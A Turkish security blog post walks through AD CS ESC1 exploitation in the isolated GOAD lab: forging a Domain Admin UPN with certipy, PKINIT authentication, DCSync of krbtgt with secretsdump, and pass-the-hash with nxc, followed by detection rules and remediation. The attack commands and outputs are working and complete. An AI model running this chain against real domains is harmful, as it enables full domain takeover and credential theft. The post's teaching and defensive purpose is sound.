---
title: "AD CS Bölüm 2: ESC1 İstismarı — RPC Hedefleme, PKINIT Kimlik Doğrulaması ve Orman Ele Geçirme"
description: "ESSOS-CA üzerindeki ESC1 sertifika şablonunu silaha dönüştürmek: MS-WCCE RPC uç noktası çözümlemesi, zayıf UPN eşlemesi üzerinden PKINIT ile Kerberos TGT alma ve DRSUAPI DCSync ile ormanın tamamını ele geçirme."
date: 2026-11-05
author: Sevban Dönmez (@jankesec)
canonical: https://jankesec.com/tr/yazilar/ad-cs-esc1-domain-admin/
---

## Saldırı Yüzeyine Genel Bakış: ESC1 Yapılandırma Hatası

Active Directory Certificate Services ortamlarında **ESC1**, düşük yetkili bir etki alanı kullanıcısından Domain Admin yetkisine uzanan en doğrudan yetki yükseltme vektörüdür. Bir sertifika şablonu aynı anda şu üç teknik koşulu sağladığında ortaya çıkar:

1. **Geniş Kayıt İzinleri (Enrollment Rights):** Şablonun DACL'i `Authenticated Users` veya `Domain Users` gibi geniş kapsamlı gruplara `Enroll` ya da `AutoEnroll` yetkisi verir.
2. **Kaydolanın Subject'i Belirlemesi:** Şablonun `mspki-certificate-name-flag` özniteliği `0x00010000` (`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) bayrağını içerir. Bu bayrak CA'ya, SAN'ı talep edenin Active Directory nesnesinden üretmek yerine sertifika imzalama isteğinde (CSR) gönderilen keyfi `Subject Alternative Name` (`SAN`) değerini kabul etmesini söyler.
3. **İstemci Kimlik Doğrulama EKU'su:** Şablonun `pKIExtendedKeyUsage` alanında `Client Authentication` (`1.3.6.1.5.5.7.3.2`) veya `Smart Card Logon` (`1.3.6.1.4.1.311.20.2.2`) OID'i tanımlıdır. Bu sayede üretilen sertifika RFC 4556 Kerberos PKINIT alışverişinde kullanılabilir.

Bu koşullar bir araya geldiğinde kimliği doğrulanmış herhangi bir principal, Tier-0 yöneticisinin kimliğini (`daenerys.targaryen@essos.local`) belirten geçerli bir X.509 sertifikası isteyebilir, bu sertifikayı KDC'ye sunabilir ve tam yönetici ayrıcalıklarına sahip geçerli bir TGT alabilir. Buradaki tehlike, tek bir yanlış şablon bayrağının parola, hash veya karmaşık bir ACL zinciri gerektirmeden doğrudan orman yöneticiliğine kapı açmasıdır.

---

## 1. Aşama: RPC Uç Noktası Çözümlemesi ve Sertifika Kaydı

`essos.local` ortamına karşı ilk testlerde, Domain Controller'a yöneltilen standart bir sertifika isteği RPC hatasıyla sonuçlanır:

```bash
$ certipy-ad req -u missandei@essos.local -p fr3edom -ca ESSOS-CA -template ESC1 \
    -upn daenerys.targaryen@essos.local -dc-ip 192.168.56.12
[*] Requesting certificate via RPC
[!] Failed to resolve dynamic endpoint 91AE6020-9E3C-11CF-8D7C-00AA00C091BE: ept_s_not_registered
```

### Protokol Mekaniği: `ept_s_not_registered` Hatası Neden Olur?

Windows İstemci-Sertifika Otoritesi protokolü (`[MS-WCCE]`), RPC (`ncacn_ip_tcp`) üzerinden çalışır. Bu protokolde süreç şöyledir:

1. İstemci, belirtilen hedef IP'nin (`192.168.56.12`, Domain Controller `MEEREEN`) TCP `135` portundaki RPC Endpoint Mapper (`EPM`) servisine bağlanır.
2. İstemci, `ICertRequestD2` arayüz UUID'si için dinamik yüksek port bağlamasını ister:
   ```bash
   UUID: 91AE6020-9E3C-11CF-8D7C-00AA00C091BE
   Version: 0.0
   ```
3. `ESSOS-CA`, Domain Controller yerine `BRAAVOS` (`192.168.56.23`) üye sunucusunda barındırıldığı için Domain Controller'ın endpoint mapper'ı `0x000006D9` (`ept_s_not_registered`) durum kodunu döndürür.

Yani istek doğru CA adını taşısa da yanlış makineye sorulmuştur. Bu hata, CA'nın nerede barındığını bilmenin neden önemli olduğunu gösterir: sertifika isteği Domain Controller'a değil, `certsvc` servisinin gerçekten çalıştığı host'a gitmelidir. Bu sorunu çözmek için istemci, `-target` parametresiyle RPC isteğini `certsvc` servisinin gerçekten çalıştığı sunucuya yönlendirmelidir:

```bash
$ certipy-ad req -u missandei@essos.local -p fr3edom -ca ESSOS-CA -template ESC1 \
    -upn daenerys.targaryen@essos.local -target braavos.essos.local -dc-ip 192.168.56.12
[*] Requesting certificate via RPC
[*] Request ID is 3
[*] Successfully requested certificate
[*] Got certificate with UPN 'daenerys.targaryen@essos.local'
[*] Certificate has no object SID
[*] Saving certificate and private key to 'daenerys.targaryen.pfx'
```

CA isteği işler, `daenerys.targaryen@essos.local` değerini `Subject Alternative Name` (`szOID_SUBJECT_ALT_NAME2`, `2.5.29.17`) olarak gömer, sertifikayı kendi özel anahtarıyla imzalar ve istemci için üretilen özel anahtarla birlikte PKCS#12 (`.pfx`) arşivi olarak döndürür. Çıktıdaki `Certificate has no object SID` satırı ilerideki aşama için kritik olacaktır.

---

## 2. Aşama: PKINIT Ön Doğrulaması ve Zayıf UPN Eşlemesi

`daenerys.targaryen.pfx` yerel diske kaydedildikten sonra, sertifikanın **PKINIT (RFC 4556)** üzerinden bir Kerberos Ticket Granting Ticket ile değiştirilmesi gerekir:

```bash
$ certipy-ad auth -pfx daenerys.targaryen.pfx -dc-ip 192.168.56.12
[*] Certificate identities:
[*]     SAN UPN: 'daenerys.targaryen@essos.local'
[*] Using principal: 'daenerys.targaryen@essos.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Got hash for 'daenerys.targaryen@essos.local': aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a
```

### Zayıf Bağlama (Weak Binding) Ayrıntısı

Kayıt çıktısındaki `Certificate has no object SID` ifadesi rastgele bir uyarı değildir. `ESC1` şablonu `mspki-enrollment-flag` içinde `0x00080000` (`CT_FLAG_NO_SECURITY_EXTENSION`) bayrağını taşıdığı için sertifikada Microsoft'a özgü `szOID_NTDS_CA_SECURITY_EXT` (`1.3.6.1.4.1.311.25.2`) uzantısı bulunmaz. Bu uzantı normalde sertifikayı belirli bir dizin nesnesine kriptografik olarak bağlar.

Sertifikada gömülü bir nesne SID'si olmadığında:

- Yamasız ya da orta düzeyde yapılandırılmış Domain Controller'larda (`StrongCertificateBindingEnforcement = 0` veya `1`), KDC, SAN içindeki UPN'i (`daenerys.targaryen@essos.local`) doğrudan LDAP `userPrincipalName` özniteliğiyle eşleştirmeye geri döner.
- KDC bu eşleşmeyi kabul eder, `daenerys.targaryen` için PAC üretir ve `AS-REP` içinde geçerli bir TGT döndürür.
- Certipy, bilet alışverişinde dönen PAC önbellek verisinden kullanıcının NT hash'ini çıkarır: `34534854d33b398b66684072224bb47a`.

KDC üzerinde `StrongCertificateBindingEnforcement = 2` yapılandırılmış olsaydı, sertifika doğrulanabilir bir nesne SID uzantısı taşımadığı için kimlik doğrulama `KDC_ERR_CLIENT_NAME_MISMATCH` hatasıyla reddedilirdi. Bu ayrım, aynı sertifikanın neden bir ortamda çalışıp başka bir ortamda çalışmadığını açıklar. Kısacası sertifika burada parolanın yerine geçen bir kimlik bilgisi gibi davranır; onu hangi hesaba bağladığınız, saldırının başarısını belirler.

<figure class="diagram">
<svg viewBox="0 0 760 336" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Üç aşamada ESC1 saldırı hattı. Aşama 1: missandei, braavos üzerindeki ESSOS-CA'dan daenerys.targaryen için SAN UPN belirterek bir ESC1 sertifikası talep eder. Aşama 2: meereen'deki KDC'ye yapılan PKINIT doğrulaması zayıf bağlama nedeniyle sertifikayı UPN üzerinden daenerys'e eşler ve TGT ile NT hash'ini döndürür. Aşama 3: DC03'e karşı DRSUAPI DCSync, krbtgt ve Administrator hash'lerini dökerek essos.local'i tamamen ele geçirir.">
  <defs>
    <marker id="esc1-tr-m-crit" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="6" markerHeight="6" orient="auto">
      <path d="M0,0 L8,4 L0,8 z" class="dg-arrow-crit" />
    </marker>
  </defs>
  <text x="12" y="20" class="dg-muted">ESC1 İSTİSMARI · ENROLLEE SUBJECT BELİRLER → PKINIT UPN EŞLEME → DCSYNC</text>
  <rect x="12" y="36" width="224" height="220" rx="8" class="dg-box" />
  <text x="26" y="60" class="dg-label">1 · SERTİFİKA İSTEĞİ</text>
  <text x="26" y="78" class="dg-mono dg-compact">Hedef: ESSOS-CA (braavos .23)</text>
  <text x="26" y="98" class="dg-muted dg-compact">Çağrıcı: missandei (Domain User)</text>
  <text x="26" y="116" class="dg-mono dg-compact">certipy req -ca ESSOS-CA</text>
  <text x="26" y="132" class="dg-mono dg-compact">-template ESC1 -upn daenerys</text>
  <rect x="22" y="146" width="204" height="64" rx="6" class="dg-box-accent" />
  <text x="32" y="166" class="dg-accent">ENROLLEE SUBJECT BELİRLER</text>
  <text x="32" y="184" class="dg-mono dg-compact">CT_FLAG_ENROLLEE_SUPPLIES_SUBJ</text>
  <text x="32" y="200" class="dg-muted dg-compact">Verilen X.509'da SID OID yok</text>
  <text x="26" y="238" class="dg-ok">Çıktı: daenerys.pfx anahtarı</text>
  <line x1="236" y1="146" x2="266" y2="146" class="dg-line-crit" marker-end="url(#esc1-tr-m-crit)" />
  <text x="251" y="138" text-anchor="middle" class="dg-crit dg-compact">.pfx</text>
  <rect x="268" y="36" width="224" height="220" rx="8" class="dg-box" />
  <text x="282" y="60" class="dg-label">2 · PKINIT ÖN DOĞRULAMA</text>
  <text x="282" y="78" class="dg-mono dg-compact">Hedef: KDC (meereen .12)</text>
  <text x="282" y="98" class="dg-muted dg-compact">certipy auth -pfx daenerys.pfx</text>
  <text x="282" y="116" class="dg-mono dg-compact">AS-REQ (PA-PK-AS-REQ)</text>
  <text x="282" y="132" class="dg-mono dg-compact">KDC sertifikayı SID olmadan eşler</text>
  <rect x="278" y="146" width="204" height="64" rx="6" class="dg-box-accent" />
  <text x="288" y="166" class="dg-accent">ZAYIF SERTİFİKA EŞLEMESİ</text>
  <text x="288" y="184" class="dg-mono dg-compact">SAN UPN: daenerys.targaryen</text>
  <text x="288" y="200" class="dg-muted dg-compact">StrongBindingEnforcement &lt; 2</text>
  <text x="282" y="238" class="dg-ok">Çıktı: daenerys TGT + NT Hash</text>
  <line x1="492" y1="146" x2="522" y2="146" class="dg-line-crit" marker-end="url(#esc1-tr-m-crit)" />
  <text x="507" y="138" text-anchor="middle" class="dg-crit dg-compact">TGT</text>
  <rect x="524" y="36" width="224" height="220" rx="8" class="dg-box-danger" />
  <text x="538" y="60" class="dg-label dg-danger">3 · DOMAIN ELE GEÇİRME</text>
  <text x="538" y="78" class="dg-mono dg-compact">Hedef: DC03 meereen (.12)</text>
  <text x="538" y="98" class="dg-accent dg-compact">daenerys ∈ Domain Admins</text>
  <text x="538" y="116" class="dg-mono dg-compact">DRSUAPI DsGetNCChanges</text>
  <text x="538" y="132" class="dg-mono dg-compact">DCSync forest kök parolaları</text>
  <rect x="534" y="146" width="204" height="64" rx="6" class="dg-box" />
  <text x="544" y="166" class="dg-crit">KÖK PAROLALARI DÖKÜLDÜ</text>
  <text x="544" y="184" class="dg-mono dg-compact">krbtgt hash: 7e486cbf…</text>
  <text x="544" y="200" class="dg-danger">Admin hash: 54296a48…</text>
  <text x="538" y="238" class="dg-crit">DURUM: essos.local ELE GEÇİRİLDİ</text>
  <rect x="12" y="268" width="736" height="56" rx="8" class="dg-box" />
  <text x="26" y="291" class="dg-muted">İSTİSMAR ETKİSİ ·</text>
  <text x="148" y="291" class="dg-label">Yetkisiz 1 RPC isteği, tüm Tier-0 sınırlarını tek adımda Domain Admin'e indirger</text>
  <text x="26" y="310" class="dg-mono dg-compact">DCSYNC KANITI: krbtgt: 7e486cbf… · daenerys: 34534854… · Administrator: 54296a48…</text>
</svg>
<figcaption>ESC1 akışı: CA hostuna sabitlenmiş bir sertifika isteği, sertifikayı <code>daenerys.targaryen</code>'e UPN ile eşleyen bir PKINIT el sıkışması ve ormanı teslim eden bir DCSync.</figcaption>
</figure>

---

## 3. Aşama: DRSUAPI DCSync ile Etki Alanını Ele Geçirme

`daenerys.targaryen` bir `Domain Admins` üyesi olduğundan, hesabı etki alanı bölümünün kökü (`DC=essos,DC=local`) üzerinde dizin çoğaltma genişletilmiş haklarına sahiptir:

- `DS-Replication-Get-Changes` (`1131f6aa-9c07-11d1-f79f-00c04fc2dcd2`)
- `DS-Replication-Get-Changes-All` (`1131f6ad-9c07-11d1-f79f-00c04fc2dcd2`)

Elde edilen NT hash ile `impacket-secretsdump` çalıştırarak `DRSUAPI` RPC işlevi `DsGetNCChanges`'i çağırır, bir Domain Controller çoğaltma isteğini taklit eder ve `krbtgt` hesabının hash'ini dökeriz:

```bash
$ impacket-secretsdump essos.local/daenerys.targaryen@192.168.56.12 \
    -hashes aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a -just-dc-user krbtgt
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7e486cbfb7d10ec86b7f8384f763d60d:::
```

### Tam Orman Erişiminin Doğrulanması

Dökülen `krbtgt` hash'i (`7e486cbfb7d10ec86b7f8384f763d60d`), `essos.local` içindeki herhangi bir kimlik adına Golden Ticket üretilmesine imkan tanır. Doğrudan yönetici yürütmesini kanıtlamak için secretsdump ayrıca yerleşik `Administrator` hash'ini (`54296a48...`) de döndürdü; bu hash ile SMB oturumu açmak erişimin gerçekten çalıştığını gösterir:

```bash
$ nxc smb 192.168.56.12 -u Administrator -H 54296a48cd30259cc88095373cec24da -d essos.local
SMB  192.168.56.12  445  MEEREEN  [+] essos.local\Administrator:54296a48cd30259cc88095373cec24da (Pwn3d!)
```

Tüm ele geçirme zinciri tek bir yetkisiz RPC sertifika isteğiyle tamamlandı. Parola kırma, Kerberoasting veya karmaşık çok adımlı ACL yürüyüşleri gerekmedi. Bu da ESC1'in neden bu kadar tehlikeli olduğunu özetler: Saldırganın ihtiyaç duyduğu tek şey, yanlış yapılandırılmış bir şablona kaydolma hakkıdır.

---

## Tespit Mühendisliği ve İyileştirme

### Adli İzler ve Olay İmzaları

| Event ID | Kaynak | Açıklama | İncelenecek Kritik Alanlar |
| :--- | :--- | :--- | :--- |
| **`4886`** | Active Directory CS | Sertifika talebi alındı | Talep eden hesap (`missandei`), şablon adı (`ESC1`), istenen öznitelikler (`SAN: daenerys.targaryen@essos.local`). |
| **`4887`** | Active Directory CS | Sertifika verildi | Subject Alternative Name'in talep edenin kimliğiyle uyuşmaması. |
| **`4768`** | Kerberos KDC | PKINIT ile TGT istendi | `Pre-Authentication Type = 16`, Hedef Hesap = Tier-0 Yönetici (`daenerys.targaryen`). |
| **`4662`** | Dizin Servisi | Genişletilmiş haklara erişildi | Erişim Maskesi `0x100`, DC olmayan bir IP'den `DS-Replication-Get-Changes-All` çağrısı. |

```kql
// KQL Rule: Flag Certificates Issued with SAN Divergence
SecurityEvent
| where EventID == 4887
| extend Requester = tostring(parse_xml(EventData).Data[0].["#text"])
| extend SAN = tostring(parse_xml(EventData).Data[4].["#text"])
| extend Template = tostring(parse_xml(EventData).Data[2].["#text"])
| where Requester != "" and SAN != "" and Requester != SAN
| project TimeGenerated, Computer, Requester, SAN, Template
```

### İyileştirme Protokolü

1. **Kaydolanın Belirlediği SAN Bayrağını Kaldırın:**
   Zafiyetli şablonu, subject bilgisini doğrudan Active Directory nesne özniteliklerinden üretecek şekilde değiştirin:
   ```powershell
   Set-ADObject -Identity "CN=ESC1,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local" `
       -Replace @{'mspki-certificate-name-flag' = 0x0}
   ```
2. **Güçlü Sertifika Bağlamayı Zorunlu Kılın (KB5014754):**
   Domain Controller'ları nesne SID doğrulamasını kesin olarak istemeye yapılandırın:
   ```cmd
   reg add "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcement /t REG_DWORD /d 2 /f
   ```
3. **Kayıt İzinlerini Daraltın:**
   Client Authentication veya Smart Card Logon EKU'su belirten şablonların DACL'lerini denetleyin ve bu şablonlardan `Domain Users` ile `Authenticated Users` gruplarını kaldırın. Bu izinler çoğu zaman "geçici" olarak eklenir ve sonra unutulur.

---

## Kanıt ve sınırlar

`ESC1` sertifika kaydı, PKINIT alışverişi ve ardından gelen DCSync, izole GOAD laboratuvarındaki `ESSOS-CA` (`192.168.56.23`) ve `MEEREEN` (`192.168.56.12`) üzerinde yürütülmüştür. Üretilen sertifikalar, özel anahtarlar ve dökülen hash'ler sentetik `essos.local` etki alanına aittir. Buradaki başarı, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`, `CT_FLAG_NO_SECURITY_EXTENSION` ve zayıf sertifika bağlaması gibi kasıtlı laboratuvar yapılandırmalarına dayanır; üretim ortamlarında bu koşulların hepsi aynı anda bulunmayabilir.

## Kaynaklar

- **Orange Cyberdefense, GOAD:** [orange-cyberdefense.github.io/GOAD](https://orange-cyberdefense.github.io/GOAD/)
- **SpecterOps, Certified Pre-Owned:** [posts.specterops.io](https://posts.specterops.io/certified-pre-owned-d95910965cd2)
- **The Hacker Recipes, Certificate Templates:** [thehacker.recipes/ad/movement/adcs/certificate-templates](https://www.thehacker.recipes/ad/movement/adcs/certificate-templates)
- **Microsoft, Kerberos PKINIT Protocol Specification (RFC 4556):** [datatracker.ietf.org/doc/html/rfc4556](https://datatracker.ietf.org/doc/html/rfc4556)
- **MITRE ATT&CK, Steal or Forge Authentication Certificates (T1649):** [attack.mitre.org/techniques/T1649/](https://attack.mitre.org/techniques/T1649/)
- **MITRE ATT&CK, OS Credential Dumping: DCSync (T1003.006):** [attack.mitre.org/techniques/T1003/006/](https://attack.mitre.org/techniques/T1003/006/)
